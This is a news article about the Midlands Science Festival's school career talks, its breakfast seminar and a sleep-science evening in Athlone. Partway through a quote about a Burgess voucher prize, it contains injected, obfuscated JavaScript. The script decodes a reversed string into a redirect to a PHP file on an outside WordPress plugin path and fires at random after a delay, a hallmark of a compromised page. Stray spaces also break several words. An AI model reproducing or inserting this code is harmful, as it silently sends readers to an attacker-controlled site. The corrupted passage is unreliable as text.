
As part of this year’s Midlands Science Festival which takes place across the Midlands from November 13th to 20th, a series of high value careers talks will take place in local schools. Local development company Midlands Science have arranged to bring a number of role models with science or technology backgrounds in to Midlands’ secondary schools to deliver these career talks and demonstrate in a hands on way why a career in science is a good choice. Volunteers for this initiative are from life sciences organisations and technology companies, as well as from research centres and academia such as NUI, Maynooth, UCD and Athlone Institute of Technology. Many of the speakers are past pupils of the schools they will attend.
Jackie Gorman, Midlands Science Festival direc tor said,
‘Science expertise involves whole-life learning beyond what happens in school so we are delivering these career talks in collaboration with key corporate and academic partners and the aim is to increase participation in science and technology education and careers in the Midlands. In addition to presentations being held throughout regional schools we also have a free breakfast seminar taking place in the Shera ton Hotel on the morning of November 16th and in particular we are encouraging third level graduates to come along to this to hear from one of our company partners, Abbott Diagnostics in Longford. The morning will also provide an opportunity to hear from leading recruitment expert and Midlands native, Anne Heraty of Cpl Resources.’
Along with a number of events taking place in schools, there are other public events taking place throughout Science Week including one all about exploring the science of sleep! This event which takes place in the Little Theatre in Athlone on the night of November 18th promises a highly informative evening with plenty of discussion and question time. Dr. Craig Slattery, a science communica tor and Specialist Lecturer at University College Dublin who is originally from the region Craig will address the audience as will Dr Silke Ryan, Consultant in Respira tory and Sleep Medicine at St. Vincent’s University Hospital and Research Fellow at UCD.
Jackie Gorman continued,
‘The Midlands Science Festival has partnered with Burgess of Athlone for this event and Burgess has kindly $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donated a very generous prize of 200 euros to spend in their bedding department to celebrate the event. The winner of this voucher was Bregeen Hegarty so we would like to thank Burgess and congratulate Bregeen and hope she enjoys her prize.’
Pho to: Dr Andy Fogarty of Athlone Institute of Technology who will speak in an Athlone school during Science Week